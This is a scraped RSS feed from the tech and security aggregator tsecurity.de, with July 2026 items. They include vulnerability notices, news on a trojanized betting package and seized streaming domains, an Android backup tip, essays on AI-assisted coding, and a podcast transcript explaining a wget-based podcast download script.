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    ]]>         <![CDATA[Of course Steam Deck sales are slowing down, and you shouldn't be buying one right now anyway]]> https://tsecurity.de/de/3686931/windows-tipps/of-course-steam-deck-sales-are-slowing-down-and-you-shouldnt-be-buying-one-right-now-anyway/ https://tsecurity.de/de/3686931/windows-tipps/of-course-steam-deck-sales-are-slowing-down-and-you-shouldnt-be-buying-one-right-now-anyway/ Wed, 22 Jul 2026 17:51:44 +0200 đŸȘŸ Windows Tipps tsecurity.de <![CDATA[Apple Watch Saves Mountain Biker After Serious Crash With Fall Detection]]> https://tsecurity.de/de/3686885/ios-mac-os/apple-watch-saves-mountain-biker-after-serious-crash-with-fall-detection/ https://tsecurity.de/de/3686885/ios-mac-os/apple-watch-saves-mountain-biker-after-serious-crash-with-fall-detection/ Wed, 22 Jul 2026 17:33:16 +0200 🍏 iOS / Mac OS tsecurity.de <![CDATA[USN-8583-1: GIFLIB vulnerabilities]]> https://tsecurity.de/de/3686709/unix-server/usn-8583-1-giflib-vulnerabilities/ https://tsecurity.de/de/3686709/unix-server/usn-8583-1-giflib-vulnerabilities/ Wed, 22 Jul 2026 16:55:10 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8584-1: GStreamer Good Plugins vulnerabilities]]> https://tsecurity.de/de/3686708/unix-server/usn-8584-1-gstreamer-good-plugins-vulnerabilities/ https://tsecurity.de/de/3686708/unix-server/usn-8584-1-gstreamer-good-plugins-vulnerabilities/ Wed, 22 Jul 2026 16:55:08 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8585-1: Kerberos vulnerabilities]]> https://tsecurity.de/de/3686707/unix-server/usn-8585-1-kerberos-vulnerabilities/ https://tsecurity.de/de/3686707/unix-server/usn-8585-1-kerberos-vulnerabilities/ Wed, 22 Jul 2026 16:55:07 +0200 🐧 Unix Server tsecurity.de <![CDATA[USN-8586-1: libgphoto2 vulnerabilities]]> https://tsecurity.de/de/3686706/unix-server/usn-8586-1-libgphoto2-vulnerabilities/ https://tsecurity.de/de/3686706/unix-server/usn-8586-1-libgphoto2-vulnerabilities/ Wed, 22 Jul 2026 16:55:05 +0200 🐧 Unix Server tsecurity.de <![CDATA[Kaggle + Google’s Free 5-Day Agentic AI Course]]> https://tsecurity.de/de/3686649/ai-nachrichten/kaggle-googles-free-5-day-agentic-ai-course/ https://tsecurity.de/de/3686649/ai-nachrichten/kaggle-googles-free-5-day-agentic-ai-course/ Wed, 22 Jul 2026 16:25:03 +0200 🔧 AI Nachrichten tsecurity.de <![CDATA[This $80 financial literacy bundle gives you lifetime access to 150+ money lessons]]> https://tsecurity.de/de/3686457/ios-mac-os/this-80-financial-literacy-bundle-gives-you-lifetime-access-to-150-money-lessons/ https://tsecurity.de/de/3686457/ios-mac-os/this-80-financial-literacy-bundle-gives-you-lifetime-access-to-150-money-lessons/ Wed, 22 Jul 2026 15:16:04 +0200 🍏 iOS / Mac OS tsecurity.de Illustration of a woman in a business clothing using a computer to access Prosper financial literacy course.

    The Prosper financial literacy course gives you lifetime access to courses, AI-powered coaching and weekly sessions with a veteran investor.

    (via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)

    ]]>         <![CDATA[US seizes over 1,000 domains used for illegal World Cup 2026 streams]]> https://tsecurity.de/de/3686094/it-security-nachrichten/us-seizes-over-1000-domains-used-for-illegal-world-cup-2026-streams/ https://tsecurity.de/de/3686094/it-security-nachrichten/us-seizes-over-1000-domains-used-for-illegal-world-cup-2026-streams/ Wed, 22 Jul 2026 13:14:44 +0200 📰 IT Security Nachrichten tsecurity.de The US Department of Justice has seized more than 1,000 internet domains that streamed FIFA World Cup 2026 matches without a license. The domain seizure notice (Source: US Department of Justice) The seizures came in three waves over the course


    Read more →

    The post US seizes over 1,000 domains used for illegal World Cup 2026 streams appeared first on IT Security News.

    ]]>         <![CDATA[CVE-2026-10044 | Usagi-org ai-goofish-monitor on Windows /api/prompts/ absolute path traversal (Issue 488)]]> https://tsecurity.de/de/3686055/sicherheitsluecken/cve-2026-10044-usagi-org-ai-goofish-monitor-on-windows-apiprompts-absolute-path-traversal-issue-488/ https://tsecurity.de/de/3686055/sicherheitsluecken/cve-2026-10044-usagi-org-ai-goofish-monitor-on-windows-apiprompts-absolute-path-traversal-issue-488/ Wed, 22 Jul 2026 13:03:57 +0200 đŸ•”ïž SicherheitslĂŒcken tsecurity.de Usagi-org ai-goofish-monitor on Windows. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file /api/prompts/. Executing a manipulation can lead to absolute path traversal. The identification of this vulnerability is CVE-2026-10044. The attack may be launched remotely. There is no exploit available. A patch should be applied to remediate this issue.]]> <![CDATA[US seizes over 1,000 domains used for illegal World Cup 2026 streams]]> https://tsecurity.de/de/3686018/it-security-nachrichten/us-seizes-over-1000-domains-used-for-illegal-world-cup-2026-streams/ https://tsecurity.de/de/3686018/it-security-nachrichten/us-seizes-over-1000-domains-used-for-illegal-world-cup-2026-streams/ Wed, 22 Jul 2026 13:00:26 +0200 📰 IT Security Nachrichten tsecurity.de The US Department of Justice has seized more than 1,000 internet domains that streamed FIFA World Cup 2026 matches without a license. The domain seizure notice (Source: US Department of Justice) The seizures came in three waves over the course of the tournament. The first two rounds took down nearly 400 domains by the end of June, and two later rounds pushed the total past 1,000. The effort, named “Operation Offsides”, was led by the 
 More →

    The post US seizes over 1,000 domains used for illegal World Cup 2026 streams appeared first on Help Net Security.

    ]]>         <![CDATA[Your instant Android backup upgrade]]> https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/ https://tsecurity.de/de/3685867/it-nachrichten/your-instant-android-backup-upgrade/ Wed, 22 Jul 2026 12:02:52 +0200 📰 IT Nachrichten tsecurity.de

    Here in this high-tech era of 2026, keeping important info backed up and synced should be effortless and something that just happens on its own, automatically, without any actual thought or ongoing human effort.

    In many areas of our digital life, that mercifully does Just Workℱ in exactly that way. Fire up an email in most modern mail services, and you can stop at any point and find your in-progress draft in that same app on any other device. The same applies to any file you’re finessing within Google Drive or other cloud storage services or document you’re dawdling over in Docs.

    One area where seamless syncing somehow still doesn’t occur, though, is in the domain of downloaded documents on Android. If someone sends you a PDF or a Word file and you save it to your phone, that file exists in an archaic-seeming silo — only locally, on that one gadget. And that, of course, means (a) you can’t access it from any other device, and (b) if you misplace your phone or move into a new one at some point along the way, the file will be left behind in time and entirely unavailable.

    Well, take a moment to join me in celebration: Amidst all the Gemini gobbledegook that no one asked for (and that often falls somewhere between “pointless” and “actively counterproductive”), Google’s giving us a major upgrade to Android’s backup capabilities right now. It’s a simple-seeming switch buried in your system settings, and it’s up to you to find and activate it.

    Once you do, though, those once-orphaned documents on your Android device’s local storage will be perpetually synced and protected, automatically, without any ongoing thought or effort.

    All you’ve gotta do is find and flip that one new switch.

    [Don’t let yourself miss an ounce of Android Intelligence. Join my free weekly Android Intelligence newsletter and get one new thing to try in your inbox every Friday!]

    The Android backup lowdown

    So, for a quick bit of pertinent context on this: Android’s backup systems have actually come a really long way over the years.

    ‘Twas a time, y’see, when little to nothing about you would sync and carry over automatically from one Android device to another. Years ago — back in the ancient-seeming prehistoric era of the early 2010s — Android enthusiasts in the know would rely on community-created third-party apps for everything from remembering and resyncing downloaded apps to restoring data from within those apps and onward. And reconfiguring your system preferences would be a whole time-consuming song and dance every single time you reset a device or moved into a new one, as little to nothing would automatically carry over.

    Most of that stuff is now effortless and automatic. And, thanks to apps like Google Messages, Calendar, Drive, and Docs, many other areas of important data are also synced on their own at the app level — outside of any system mechanisms.

    Locally stored files, however, have remained an awkward omission. To this day, anything you download on any Android device exists only on that one device and isn’t synced or backed up anywhere. The only way that happens is — in a blast-from-the-past twist — if you go out of your way to find and set up a third-party app to handle the heavy lifting.

    That brings us to today. Right now, as we speak, Google’s in the midst of sending out a quiet under-the-hood update that (brace yourself
) adds in the option to automatically sync and back up any documents on your device as a native part of Android’s backup setup.

    See?

    Android backup documents
    The easily overlooked new option for backing up documents on Android.

    JR Raphael, Foundry

    The option is on its way to all devices running 2018’s Android 9 release and higher. (If you’re still using a phone with an Android version older than that, you’re now a whopping eight years out of date, and you have much bigger problems.)

    Once the added option is present and available for you, you’re literally lookin’ at 10 seconds to find and activate it.

    Lemme show ya how.

    Android’s document backup addition

    I promise: This couldn’t be much simpler.

    No matter what kind of Android device is in front of you, just head into your system settings and open the section called “Accounts and backup,” “Back up or copy data,” or something along those same lines. (The exact wording can vary based on who made your device and when it was released or last updated.)

    Either tap the line labeled “Google Backup” or look for an option to “Back up data” via Google Drive. You should then either see a series of options for different areas of available backup right then and there — or, depending on your device, you might have to tap a line labeled “Other device data” (or something similar) to find the full list of possibilities.

    However you get there, once you’re lookin’ at that list, you’ll see a newly added line for “Documents” if this latest under-the-hood update has reached you.

    Android backup options
    Android’s expanded list of backup options — now including documents alongside other forms of on-device data.

    JR Raphael, Foundry

    And from there, all that’s left is to tap it and enable the switch to include that in your automated backups from that moment forward.

    If you aren’t seeing the option yet, don’t panic. Google always sends these under-the-hood updates out bit by bit over time, so the change probably just hasn’t reached your device quite yet. As long as you’re running Android 9 or higher, it’ll get there. Set yourself a reminder to check back once a week or so. Odds are, you’ll see it pretty soon.

    Notably, all documents synced in this way are always encrypted for security, and they’re kept in your personal (or, depending on the nature of your account, perhaps company-connected) Google Drive storage. That does mean they’ll count against your overall Google storage total, so keep an eye on your Drive storage total to make sure you’re in solid shape and look to the Google One storage hub if you ever want some simple suggestions for freeing up space.

    Speaking of other Google services: If you ever want to keep other types of locally stored non-document files from an Android device synced and available elsewhere, you can easily rely on Google Photos for syncing screenshots and other images — after enabling sync in general, be sure to look in the app’s “Collections” areas to find the “On this device” folder and then flip the toggle to “Backup all device folders” (or get more nuanced and open specific individual on-device folders if you want to sync some but not all of those areas) — and you can still turn to those aforementioned third-party apps for broader syncing of anything else imaginable.

    But with documents now being handled automatically and natively, that’s one big worry now out of your hair. Just note that the onus will fall on you to find and flip the switch and actively opt in to the feature on each and every Android device you’re using.

    Take 10 seconds to do that, though, and you’ll have one less void in your Android data arena. And you don’t need Gemini to tell you that that can only be a good thing.

    Get practical Android knowledge in your inbox every Friday with my free Android Intelligence newsletter — one new thing to try each week, straight from me to you.

    ]]>         <![CDATA[AYANEO NEXT 2: High-End-Handheld mit Strix Halo APU und absurd hohem Preisschild offiziell gelistet]]> https://tsecurity.de/de/3685840/it-nachrichten/ayaneo-next-2-high-end-handheld-mit-strix-halo-apu-und-absurd-hohem-preisschild-offiziell-gelistet/ https://tsecurity.de/de/3685840/it-nachrichten/ayaneo-next-2-high-end-handheld-mit-strix-halo-apu-und-absurd-hohem-preisschild-offiziell-gelistet/ Wed, 22 Jul 2026 11:48:51 +0200 📰 IT Nachrichten tsecurity.de Zum Beitrag: AYANEO NEXT 2: High-End-Handheld mit Strix Halo APU und absurd hohem Preisschild offiziell gelistet

    Wo du uns folgen kannst: Facebook, Reddit, Google News, X, Threads

    ]]>         <![CDATA[Agentic coding is everywhere]]> https://tsecurity.de/de/3685748/ai-nachrichten/agentic-coding-is-everywhere/ https://tsecurity.de/de/3685748/ai-nachrichten/agentic-coding-is-everywhere/ Wed, 22 Jul 2026 11:04:58 +0200 🔧 AI Nachrichten tsecurity.de

    I use a very cool and relatively new web framework called Astro. The keen insight that the Astro team had was that most websites are made up of static content, so they made it really easy to add content to a website. To add a blog post to my personal website, all I have to do is create a Markdown file with some front matter, deploy it, and the blog post automatically appears. If I need to reach deeper for more dynamic functionality, I can easily do that with TypeScript, React, or almost any other framework. It’s really cool.

    And these days, I really don’t write any code. Claude Code does most (all?) of the work. Since Astro is an open-source project and has excellent documentation, Claude knows all about how Astro works. It has no trouble at all managing my site and making the improvements I ask for.  

    And that got me thinking, how does Astro get built? Is the Astro team building with agentic coding? Astro itself has many dependencies, including big projects like Vite and Node. And of course, Vite and Node have dependencies, too. Are those dependencies being developed by hand, or are those development teams also using AI agents to code?

    My curiosity got the best of me, and I asked Claude to dig deeper. It turns out that the Astro repository has an AGENTS.md file, and some of the commits even have commit message trailers indicating that they were at least co-authored by Claude and GitHub Copilot. Further down, there is a .agents/skills directory with skills covering development, merging, triage, and more. I poked around for a look, and someone has done a great job building agentic support.

    Now my interest is really piqued, and further investigation reveals quite a bit of interesting stuff. About a year ago, documentation started appearing about how to build Astro sites with coding agents.  Around that same time, the docs team released an MCP server that gives developers coding agents deeper, easier access to the Astro documentation.  

    And there are small steps in the Astro codebase that indicate it is “agentic ready.” For instance, the command-line development server can tell when it is being started by an agent, and the application itself can tell if it is being driven by an agent. Small things, but steps in the direction of embracing Astro developers who use coding agents. 

    Okay, that was a fun spelunking trip. But so what?

    The “so what” is that code is going to be commoditized. As an Astro developer I am using AI agents pretty much all of the time. The Astro development team is starting to use AI agents more and more. The folks building the Astro dependencies are using AI agents. Shoot, the people building Claude Code and the agents themselves are “eating their own dogfood” and using their own tools to build the next frontier model. Before we know it, it will be turtles all the way down. 

    No one says “who generated that electricity?” or “who wove the fabric in that shirt?” any more. And it won’t be long before no one says “Who wrote the code for that app?” because it won’t matter. Just as we don’t look at the assembly code written by our compilers, we’ll stop looking at the “regular” code written by our agents. I’m not even sure anyone is writing assembly code anymore. Soon we’ll be saying that about TypeScript, Python, and C++.

    ]]>         <![CDATA[Seven sins of the modern software developer]]> https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/ https://tsecurity.de/de/3685746/ai-nachrichten/seven-sins-of-the-modern-software-developer/ Wed, 22 Jul 2026 11:04:50 +0200 🔧 AI Nachrichten tsecurity.de

    If you ask us in an official setting, our official position is that software engineering norms still apply. Rigorous CI/CD pipelines, elegant architectural patterns, and an unyielding commitment to maintainable code remain the standard. We will use weighty words like “determinism,” “scalability,” “idempotency,” and “domain-driven design.”

    But behind closed doors, late at night, bathed in the glow of a dark-mode IDE, a different and more sordid reality is exposed. Hunched over the console with a manic gleam in the eye, the programmer has become power-drunk on LLMs. Like mad wizards casting spells, we summon the awesome powers of models and agents to satisfy our every programming whim—and commit acts of software engineering that would make Fred Brooks blush.

    Let’s just be honest about what is actually happening.

    Esoteric knowledge is superfluous

    Forget OOP and FP. Forget the CAP theorem, the holy crusade of DRY, and the design patterns. Honestly, you can even forget what frameworks, runtimes, and deployment platforms you are using. The AI will figure out what is best to use and understand what is already in place. We have more mental bandwidth for working on our side project (a novel about AI taking over the world). 

    Of course, I exaggerate. A little.

    The docs are dead to us

    We still say RTFM, but the truth is, we haven’t really read a page of vendor documentation since 2023. Stack Overflow, once our Internet Mecca, is a husk. When a package throws a weird exception, we don’t trace the execution path or read the release notes. We highlight the red text, copy the entire 200-line stack trace, dump it into the chat, and wait for the machine to spoon-feed us the solution.

    Better yet, we just have the agentic IDE spot the error, divine a solution, and ask us if it’s OK. We might glance at the problem-solution description, if we have gone around the circle on the problem for a few cycles. Maybe. If we don’t have the agent set up for auto-confirm.

    We used to buy heavy tomes like “Rust In Action” that were more like masonry blocks than literature. Now? We just ask an AI to transliterate our JavaScript logic into Rust. We are no longer engineers methodically learning a system. We are glorified copy-paste orchestrators hoping that the stochastic parrot behind the prompt guesses the syntax correctly.

    We ignore how the back end is wired

    We act like we meticulously designed the data flows, carefully crafted the relational constraints, and mindfully mapped the API relationships. The reality is rather more disturbing: We asked the AI to scaffold a modern deployment, hooked it up to a back-end database, and just sort of
 ran it.

    It created security rules we don’t fully understand. They do seem to work, however, which is nice. 

    It generated a schema that we skimmed for about four seconds. It looks reasonable.

    It wrote infrastructure-as-code scripts that provisioned cloud resources we are hoping don’t blow a hole in the budget. Presumably, whoever is in charge of that will manage it by stuffing the metrics into another chatbot.

    We nodded, committed the code, and went to lunch. If management asked us to manually deploy the stack from scratch, configure the environment variables, and wire the API routes without our chat window, we would give them a vacant stare.

    We understand that management is also using AI to manage the project.

    Our tests are uncomfortably incestuous

    Test-driven development (TDD) used to be a beautiful dream, ever just beyond reach. It made us feel glorious and despondent at turns. It would burden us with sprawling dependencies if implemented too religiously. (See The Grug Brained Developer in this regard.)

    But now we can attain 95% test coverage almost effortlessly. Why not just add them in while we are auto-generating everything else?

    We can now wax at length to anyone who will listen about our astounding test coverage and our automated quality assurance. Unit tests, integration tests, smoke tests, you name it. What we conveniently leave out is that the AI wrote the complex application logic, and then we asked the exact same AI to write the test suite to validate the code it just dreamed up.

    It is a hermetically sealed loop of algorithmic self-congratulation. The mocks, the edge case, and the assertions are an echo chamber of the model’s original assumptions. The machine is grading its own homework, giving itself an A+.

    And we are happy to accept this because, beautifully, when the code has to change, the AI will effortlessly hallucinate new tests to adapt to the churn.

    We pass off the AI’s architecture as strategy

    AI can produce astonishing design documents. Truly breathtaking. They are cogent, they’re beautifully formatted, and they seamlessly bridge the gap between high-level business goals and granular technical specs. They even include those auto-generated sequence diagrams that wow management.

    When we present these spotless architectural proposals in the Tuesday sprint planning meeting, we lean back, take a long sip of coffee, and humbly wave away the team’s praise.

    What we don’t mention is that we spent exactly four seconds generating it.

    Are these AI-generated documents just as liable as human ones to hide severe, mortal flaws in scope and alignment? Absolutely. They might contain a foundational logic bomb that will eventually doom the entire project. But the markdown is so crisp, and the bullet points are so persuasive, that the eye just glides right over it. We will never truly know the depth of the disaster until it is far too late. But hey, we’ll burn that bridge when production catches fire. Until then, we are strategic visionaries.

    We’re addicted to vibe coding (but only in secret)

    We loudly mock the term on social media. We roll our eyes in Slack channels when the kids on TikTok talk about vibe coding their new startups. We fiercely cling to our identities as hardened, serious developers who understand memory management, garbage collection, and bitwise operators. We are professionals, damn it.

    But late at night, when the managers are asleep and no one is looking? We absolutely love it. We love just throwing a chaotic, half-baked thought at the canvas, pouring a drink, and watching the AI magically build a functioning user interface based entirely on our long-deferred whims. I may finally build that working Ultima V clone. The thrill of typing “Create an app that tracks my cryptocurrency portfolio but makes it look like the interface from Neuromancer” and having it appear 30 seconds later is heady stuff.

    The more deeply rooted in the hard, old-school realities of programming, the more profound is the joy the developer finds in the possibility of AI coding. 

    We beat the problem into submission with prompts

    Like Adam Sandler in “Uncut Gems,” we are convinced the next round will fix everything. This is us with prompts. When things are going really off the rails, instead of putting our boots on and wading into the brambles of complexity, we resort to tonal adjustments. These range from the condescending:

    This problem is not fixed. Look at it closely. The error is right here.

    To the desperate:

    We have been working on this same problem for hours now!

    To the pathetic:

    Can’t you find a different approach to try?!

    The astonishing part? It often works.

    But there is no poetry left at the bottom of the rabbit hole; it is verbal warfare. When the context window collapses, when the regressions start cascading, and when the AI stubbornly refuses to follow the most basic rules of temporal logic, the mask of professionalism drops away and something far more atavistic makes its appearance. We stop asking nicely, stop trying to understand the why, delete the pleasantries, and capslock our intent.

    What we have here is a failure to communicate!

    We feed the same failing stack trace back into the prompt over and over and over again, aggressively hammering the constraints, explicitly forbidding certain libraries, and pasting in release notes just to confirm that the AI lacks the latest APIs. We force the model down a narrower and narrower path until the code finally stops throwing errors. We don’t actually debug anymore, trace variables, or step through functions. We just apply relentless, iterative pressure until the machine surrenders. We beat it into submission. And then, we push to production.

    In fact, there is a real skill here—a sheer “will to completion” that remains in the act of building software. We invest just as much time, energy, and heart wrestling the bot as we ever did emitting syntax.

    A blacker box

    The only profession more given over to using AI like a cursed Level 13 artifact than programming is writing. Writing of course is far more open to public scrutiny than code.

    And while my tongue has been firmly in my cheek here, my faith in coders as good guys makes me more curious to see what we create than troubled by the dangers. 

    It was once the case that only other programmers could understand what programmers were doing, what they were producing. Now not even that is true. Only the machine knows what the machine is doing. We just keep it tethered to our aims. Hopefully.

    ]]>         <![CDATA[Betting Trojan Disguises Stolen Round Results as Legitimate Seq Logging Traffic]]> https://tsecurity.de/de/3685558/it-security-nachrichten/betting-trojan-disguises-stolen-round-results-as-legitimate-seq-logging-traffic/ https://tsecurity.de/de/3685558/it-security-nachrichten/betting-trojan-disguises-stolen-round-results-as-legitimate-seq-logging-traffic/ Wed, 22 Jul 2026 09:58:50 +0200 📰 IT Security Nachrichten tsecurity.de This package impersonates the widely used Newtonsoft.Json library while quietly shipping a modified fork that targets Digitain’s FG‑Crash betting backend. For most developers, the package behaves like a fully functional JSON framework. However, on Digitain’s infrastructure it silently rigs crash-game rounds and, in later generations, exfiltrates those manipulated results to an attacker-controlled host that mimics [
]

    The post Betting Trojan Disguises Stolen Round Results as Legitimate Seq Logging Traffic appeared first on Cyber Security News.

    ]]>         <![CDATA[Exploiting Random Number Generation]]> https://tsecurity.de/de/3685143/malware-trojaner-viren/exploiting-random-number-generation/ https://tsecurity.de/de/3685143/malware-trojaner-viren/exploiting-random-number-generation/ Wed, 22 Jul 2026 04:37:20 +0200 ⚠ Malware / Trojaner / Viren tsecurity.de

    If you're looking for an exploit development tutorial for absolute beginners this week we're looking at what I would consider just that! This week we look at the "random" binary exploitation challenge hosted on pwnable[.]kr.

    This is a great beginner tutorial since we exploit a flaw that is "easy" and unfortunately, still very real within some enterprise environments. It also helps you understand that no number is truly random.

    The crazy part? We don't even drop into a debugger in this tutorial.

    Be the end of this tutorial you should have:

    - Learned about random number generation in C
    - Learned about XOR operations
    - Finding header files that contain dependencies using man pages
    - Dissecting C source code

    You can find the video here:

    https://youtu.be/jDlMFC4etrs?si=akuTx1KTkCxE5Ndo

    submitted by /u/AdvisorPowerful9769
    [link] [comments]]]>         <![CDATA[full chain to RCE or only bufferoverflow?]]> https://tsecurity.de/de/3685133/malware-trojaner-viren/full-chain-to-rce-or-only-bufferoverflow/ https://tsecurity.de/de/3685133/malware-trojaner-viren/full-chain-to-rce-or-only-bufferoverflow/ Wed, 22 Jul 2026 04:37:08 +0200 ⚠ Malware / Trojaner / Viren tsecurity.de

    if you want report buffer overflow vulnerability do u need full chain to exploit or just report the crash with the corpus

    submitted by /u/False-Seesaw-1899
    [link] [comments]]]>         <![CDATA[HPR4688: Downloading Podcasts with a Shell Script]]> https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/ https://tsecurity.de/de/3685037/podcasts/hpr4688-downloading-podcasts-with-a-shell-script/ Wed, 22 Jul 2026 02:06:46 +0200 đŸŽ„ Podcasts tsecurity.de This show has been flagged as Clean by the host.

    01 Introduction

    In this episode I will describe techniques for downloading podcasts using basic shell commands such as wget.

    I will illustrate this using a bash script that can be used to download HPR podcasts.

    Even if you do not have any interest in downloading your podcasts using this method, you may find some of the methods useful or interesting.

    It is the principles that are discussed here that are important, rather than the implementation.

    02

    I realize that there are already a number of different podcast download programs available, including at least one written in bash.

    However, you may feel that none of these suit how you wish to do things and want to create your own system tailored to your specific needs.

    If so, then I hope the following is of some use to you.

    If not, then you may still find some of the things discussed here to still be of interest.

    Some of the subjects I cover include

    wget to a user defined file name.

    parsing xml with xmllint.

    using inotifywait to trigger an action when a file is created or modified.

    using notify-send to send a message to the notification area.

    and

    a way of allowing a cron job to send a message to the user interface.

    03 Background

    There has been an ongoing discussion in comments to some HPR episodes about problems downloading HPR podcast episodes.

    Apparently some people have been experiencing problems with the way the episode URLs are structured.

    04

    I am afraid that I don't fully understand the nature of these problems, so I won't be addressing that problem directly.

    Instead, I will present a bash script that I have written which can be used to download HPR podcasts.

    This bash script can be run using cron to automatically fetch new HPR podcasts and save them to a designated directory.

    This is a simplified version of a script that I have used for years to download HPR and other podcasts.

    05

    I won't try to read the full bash script out in this podcast, as that would be a bit dull to listen to.

    I will instead describe what each section does and why I chose to do things that way.

    Perhaps other people can offer suggestions of better ways to do things.

    I will post the full bash script in the show notes.

    06 Fetching Podcasts

    The standard way of distributing podcasts is to publish an RSS feed containing URL links to the audio files.

    RSS is a very long established and widely supported mechanism for this and other purposes.

    An RSS feed is basically an XML document which can be accessed over HTTP.

    These URLs contained in the RSS XML document can then be used to download the actual audio files, such as MP3 or OGG files.

    07

    Basically what we need to do is the following

    ‱ Download the RSS XML document.

    ‱ Extract the URL links to the audio files.

    ‱ Compare the list of these links to a previously saved list to see which ones are new and which ones are ones that we previously downloaded.

    08

    ‱ Make a list of the new URLs.

    ‱ Go through this list of new URLs and download each of the new audio files.

    ‱ Check to see that we actually received the new audio file.

    ‱ Add the URLs of the files we successfully downloaded to our saved list of podcast URLs

    09

    In addition to this, we would like to have the above happen automatically in the background without our having to take any action on our own.

    We may wish to receive a notification of when a new podcast has arrived however.

    We would probably also wish to receive notification of any errors or failures.

    10 Fetching Podcasts - The Preliminaries

    Our desire to be able to run the script automatically imposes some requirements on our solution.

    To schedule the script we will use cron.

    Cron is a Linux facility to run scripts on a schedule.

    11

    One of the side effects of using cron however is that we need to specify the full path to the locations where we intend to keep any data files, plus also the full path to where we intend to put the downloaded podcasts.

    12

    So the first thing we need to do in our script is to specify a number of different values for things like file location, the URL for the HPR RSS feed, and several other things as well.

    I will skip over the details of these, although I may make reference to them later.

    13 Get the RSS Data

    The first thing of real substance to do is to fetch the current RSS feed data.

    I have put this in a bash function called getrssurldata

    The contents of this function are a one liner, but with a number of elements chained together through pipes.

    14 Downloading the RSS XML Document

    ‱ First we use wget, which is a standard command on most Linux distros.

    ‱ We specify four things.

    ‱ First we set a timeout. I have chosen 20 seconds.

    ‱ Next we set the retry limit. I have chosen 3.

    15

    ‱ Then we specify that the output of wget is sent to stdout rather than saved as a file.

    ‱ This is done by using the -O option followed by a space and then a dash.

    ‱ The O option is usually used to specify a file to save the output to, but when used with a dash causes output to go to stdout.

    ‱ Then we specify the URL of the HPR RSS feed.

    16 Contents of the XML Document

    This gives us the HPR RSS XML document.

    There are about 5,000 lines in this RSS document.

    Most of those lines are the show notes which are also included in the feed.

    17 Extracting the Podcast Episode URLs

    There are only 10 lines of the document that contain information that we are interested in however.

    These lines are enclosed in "enclosure" XML tags.

    We just need to find those lines and separate out the URLs

    18 Standard Command Line Tools

    There are two ways that we can do this.

    One is to use a combination of grep, sed, and cut.

    Grep can find the lines containing the enclosure tags.

    Sed and cut can extract the URL from the surrounding extraneous data.

    19

    However, this method does not discriminate between real enclosure tags in the data portion of the RSS feed and enclosure tags in the show notes which are included in the feed from episodes such as this one.

    This may be an acceptable problem in practical terms, but we can do better.

    20 Using an XML Parser

    The other method is to actually parse the XML document.

    there are at least two command line XML parsers that I am aware of.

    These are "xmllint", and "xlmstarlet".

    I have used xmllint in this example.

    I have not used xmlstarlet, so I can't offer any comment on how easy or difficult to use it is.

    21

    I won't give a detailed explanation of all the things that xmllint can do.

    It has many features, most of which, as the name suggests, have to do with finding formatting problems with the XML itself.

    Describing everything it can do would be at least one episode in itself.

    I will instead just give the particular command used and explain each element of it.

    22

    In this example assume that we are piping the output of wget directly into xmllint.

    The complete command is

    xmllint --xpath "//channel/item/enclosure/@url" - | cut -d'"' -f2

    23

    In this example,

    xmllint is the name of the command.

    --xpath tells it to parse the document according to the string which follows.

    "//channel/item/enclosure/@url" tells it to find a series of tags in the hierarchy of channel, followed by item, followed by enclosure, and then extract the url attribute from the enclosure tag.

    The "-" which follows tells it to look for input from stdin rather than from a file.

    24

    The result is a string which has the url attribute name, an equal sign, and the URL that we want enclosed in quotes.

    To get just the URL itself, we pipe the output from xmllint into cut, using the doublequote characters as delimiters.

    We then save the result in a temporary file.

    25 Finding the New Episodes

    Next we wish to find the new podcast episodes.

    Each HPR episode is identified by a unique URL.

    This means that if we save the URLs of episodes that we have already downloaded, we just have to look for the URLs that do not appear in this saved list.

    https://hub.hackerpublicradio.org/ccdn.php?filename=/eps/hpr4659/hpr4659.mp3

    26

    The easiest way to do this is to take our two lists of URLs, sort each into temporary files, and then compare the sorted URLs using the "comm" command.

    27

    This is simple, but has a drawback.

    Some podcasts occasionally change distributors.

    When they do this, the old podcasts are re-published with new URLs and you end up downloading a lot of old episodes over again.

    28

    With HPR we could get around this by extracting just the file name and looking for that instead of the full URL.

    I will however leave that problem as an exercise for the student and just accept that if the URL format changes we may end up downloading old episodes over again.

    Since the feed has a maximum of only 10 episodes in it however, that isn't really that big of a problem.

    It would be more of a problem with podcasts which have very large numbers of episodes in their feed, but the solutions to those will be feed specific.

    29 Downloading the New Podcasts

    We should now have a list of URLs for the new podcasts we do not already have.

    Typically this should be only one file, but there could be several, or even as many as 10, if we have not turned on our computer in a while.

    Therefore, we need to iterate through the file of new podcast URLs and download each one.

    30

    Before we do that however, we should check to see if there is in fact anything new to download.

    To do this, simply use "wc -l" to count the number of lines in the list of new URLs and save the resulting number.

    31

    If this number is zero, there is nothing to download, we can skip the download step.

    As an additional check, we should see if the number of downloads exceeds some threshold value that we wish to set.

    This is not a major problem with HPR, but some podcasts have hundreds of files in their RSS feed rather than just the most recent ones.

    If we do exceed our download limit, then we need to log an error and skip downloading.

    32

    Assuming there are no problems so far however, the first thing we need to do is to extract the name of the audio file from the URL.

    We can do that using the "basename" command.

    We will use this to specify the name that we use when we save the audio file.

    33

    HPR has a very well formed file name.

    Some podcasts do not however, and for those you would need to construct some sort of suitable name either using information found in the URL or simply creating a name using a time stamp.

    34

    Next we download the audio file using wget.

    This is similar to how we downloaded the RSS feed, but with a few changes.

    One is that I have increased the timeout to 90 seconds.

    This may not have been necessary, but seemed like a good idea.

    35

    The next is that when specifying the output file name using -O, we use the file name we extracted from the URL.

    The third is that we specify a destination directory using the -P option.

    36

    After wget has finished, including any retries that it had to do, we next check that the expected new file is both present and not empty.

    We did this using an "if" statement with the "-s" option.

    If the file was found and not zero, then we add that URL to a temporary list of downloaded URLs.

    37

    If the file was not present, or was zero length, we output an error message to an error log.

    I will come back to this point later.

    38

    Next, if there is more that one podcast to download we sleep for 3 seconds.

    While not strictly necessary, it is considered to be "polite" to not hammer a server repeatedly, but rather to put a small delay between file downloads..

    39

    After we have downloaded all the audio files in our list, we can add the list of URLs for the files downloaded to the permanent list.

    While we are at it, we should use "tail" to trim the permanent log to keep it from growing indefinitely.

    This limit should be several times bigger than the number of files in the RSS feed.

    In this case I selected 50.

    40

